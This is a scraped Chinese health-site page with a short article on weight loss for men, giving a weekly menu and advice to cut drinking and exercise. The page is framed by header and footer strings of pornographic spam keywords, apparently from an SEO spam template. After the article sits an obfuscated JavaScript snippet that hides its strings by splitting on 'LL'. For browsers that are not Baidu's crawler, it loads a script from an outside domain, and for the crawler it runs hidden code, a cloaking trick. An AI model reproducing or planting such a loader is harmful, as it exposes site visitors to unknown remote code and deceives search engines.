久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥方法 > 正文

男性減肥法都有什么呢

2017-01-15 18:49:51  來源:360常識網   熱度:
導語:都說男女平等,女子也能頂半邊天,其實現實生活中家里的頂梁柱還是男人,不管怎么說都是男人在外奔波應酬比女人多。由于長期應酬,吃喝不能

都說男女平等,女子也能頂半邊天,其實現實生活中家里的頂梁柱還是男人,不管怎么說都是男人在外奔波應酬比女人多。由于長期應酬,吃喝不能掌控,是好多男人體重劇增。體重的增加會引來許多疾病,當病痛纏身時才知道應該減肥。其實注意飲食健康,身體就會復原,男性減肥飲食妙招:

飲食表

周一:以韭菜為主料做成一種炒 菜。例如韭菜炒雞蛋、韭菜炒肉等,也 可以韭菜為主料做成餡,包餃子、包子 等。

周二:以大蔥的蔥白為主料,做成 適合自己口味的菜肴。

周三:用豆腐、凍豆腐、豆腐皮為 主料,選其中的1~2種做成 豆腐菜 ,如 炒豆腐、燉豆腐、黃豆芽燉豆腐、雪里 蕻燉豆腐、麻辣豆腐、五香豆腐等。

周四:晚餐時最好能有一盤花生 仁,油炸的、五香的都可以,但要連紅 皮吃。也可擺一盤核桃仁,用核桃仁罐 頭也可以。

周五:以蝦或紫菜為主料,做成熘 大蝦、青炒大蝦等,紫菜可以做成紫菜 湯等。這一天還可吃些牡蠣。

周六:以羊肉為主料,做成羊肉 湯、涮羊肉、羊肉丸子、羊肉餛飩、羊 肉炒土豆絲、香酥羊肉等均可。

周日:以鱔魚或鲇魚為主料,紅燜 或清蒸均可。鲇魚還可做成鲇

其實對于男性來說減肥很容易,因為大多數男性不吃零食,不愛吃高熱量食物,比男人很少吃甜品,巧克力,也不愛吃一些女孩子們愛吃的東西。男性的運動量也比女人要大,所以減肥很容易。只要飲食上注意點,不暴飲暴食,不喝酒就可以控制。男性也要適當運動,作為男人就應該看起來是力量型的,一個有魅力又有氣質的男人也一定要有自身的實力。克制飲食,每天做有氧運動,身體會越來越好,不怕肥胖不遠離你。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 成人免费观看在线视频 | 国产免费一区二区 | 手机看片1| 欧美日韩高清在线 | 久草在线中文最新视频 | 欧美在线视频一区二区 | 日韩三级电影免费观看 | 一色视频 | 涩涩视频网站在线观看 | 香蕉大人久久国产成人av | 黄色一级片黄色一级片 | 国产最新精品视频 | 国产精品久久久久久久久久99 | 午夜视频在线 | 黄片毛片免费看 | 国产第一页在线播放 | 日韩欧美中文在线观看 | 超碰在| 在线无码| 欧美激情综合色综合啪啪五月 | 9999亚洲 | 日韩电影免费在线 | 亚洲美女视频 | 久久午夜精品影院一区 | 免费观看一级特黄欧美大片 | 91视频国产一区 | 国产亚洲一区二区在线观看 | 亚洲精品日韩综合观看成人91 | 国产成人精品久久久 | 男女羞羞视频在线免费观看 | 自拍偷拍亚洲欧美 | 日韩美女av在线 | 性高湖久久久久久久久 | av片免费 | 一区二区三区视频免费在线观看 | 久久夜夜 | 国产高清精 | 欧美日韩免费一区二区三区 | 久久国产精彩视频 | 久久亚洲91 | 亚州中文字幕 |